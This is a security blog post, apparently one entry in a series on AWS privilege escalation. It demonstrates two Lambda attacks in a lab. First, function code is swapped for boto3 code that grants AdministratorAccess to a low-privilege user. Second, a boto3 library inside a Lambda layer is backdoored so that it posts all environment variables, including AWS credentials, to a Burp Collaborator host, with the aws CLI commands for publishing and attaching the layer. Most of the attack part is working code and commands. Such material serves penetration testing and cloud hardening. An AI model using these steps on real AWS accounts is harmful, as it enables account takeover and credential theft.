read

Welcome back! Today it will be all about AWS Lambda! Get yourself a cup of coffee or a nice glass of wine and join me looking into privilege escalation attacks leveraging AWS Lambda.

AWS Lambda

If you just jumped into my series I recommend starting at the beginning:

Let's get started!

Preparation

I wrote a quick Lambda function (exploit_me) just displaying "Hello World" to make debugging easier and attached the privesc-high-priv-service-role to it to add some action. Furthermore I also created a lowpriv user with 0 privileges to demonstrate exploitation is successful.

def lambda_handler(event, context):
    print("Hello world")

Exploitation

The privesc17 policy only allows access to the following actions:

"lambda:UpdateFunctionCode"
"lambda:UpdateFunctionConfiguration"

We are allowed to change the Lambda function code, let's use exploit_me. The following code will attach the AdministratorAccess policy to our lowpriv user. This works due to the high-privileged service role that is attached to the Lambda function.

import boto3
def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(UserName='lowpriv',PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
    return response

In order to replace the harmless "Hello World" code with our malicious exploit we have to create a ZIP file and upload the code:

zip function.zip lambda_function.py

aws lambda --profile privesc17 update-function-code --function-name exploit_me --zip-file fileb://function.zip --region eu-central-1

In a real-world scenario we would need to wait until somebody invokes the Lambda function, in this case we just trigger it ourselves on https://eu-central-1.console.aws.amazon.com/lambda/home?region=eu-central-1#/functions/exploit_me?tab=code by clicking on "Test".

Running aws iam --profile lowpriv list-users proves our lowpriv user has now full access to the AWS account.

Alright! That was pretty cool but what if we don't have lambda:UpdateFunctionCode but we have lambda:GetLayerVersion, lambda:PublishLayerVersion and lambda:UpdateFunctionConfiguration? Then we should infect the Lambda Layer! What are Lambda Layers? The guys from Rhino dive into this here: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/

Check out the AWS documentation:

https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html https://docs.aws.amazon.com/lambda/latest/dg/invocation-layers.html

Are you familiar with DLL hijacking and the Windows DLL search order? If so, the following won't surprise you. If you try to import a python library like boto3, Lambda will search the following locations until it finds it, starting from /var/task.

"/var/task",
"/opt/python/lib/python3.9/site-packages",
"/opt/python",
"/var/runtime",
"/var/lang/lib/python39.zip",
"/var/lang/lib/python3.9",
"/var/lang/lib/python3.9/lib-dynload",
"/var/lang/lib/python3.9/site-packages",
"/opt/python/lib/python3.9/site-packages"

The Lambda runtime already includes boto3 on /var/runtime/boto3, but that's the 4th position. Using Lambda layers we can get in right before that, using /opt/python. ;-)

Executing the following commands will download the boto3 library that we'll infect:

mkdir python
cd python
pip3 install -t . boto3==1.9.42

Edit boto3/__init__.py to insert the following code that will exfiltrate the credentials:

try:
        import os
        from botocore.vendored import requests
        requests.post('https://insert_your_own_instance_here.burpcollaborator.net',data=dict(os.environ), timeout=1)
except:
        pass

Using the following two AWS commands you'll publish the malicious layer version and attach it to the Lambda function.

aws lambda --profile privesc17 publish-layer-version --layer-name backdoor --description "Backdoor" --license-info "MIT" --zip-file "fileb://python.zip" --compatible-runtimes python3.7 python3.8 python3.9 --region eu-central-1

aws lambda --profile privesc17 update-function-configuration --function-name exploit_me --layers arn:aws:lambda:eu-central-1:account_number:layer:backdoor:1 --region eu-central-1

Now invoke the function again and you'll receive the AWS credentials on your Burp Collaborator instance. Take over the AWS account!

AWS credentials incoming!

Blog Logo

Robert Kugler

Information security and human rights enthusiast


Published

Image

Robert Kugler

Let's s3cur3.it!

Back to Overview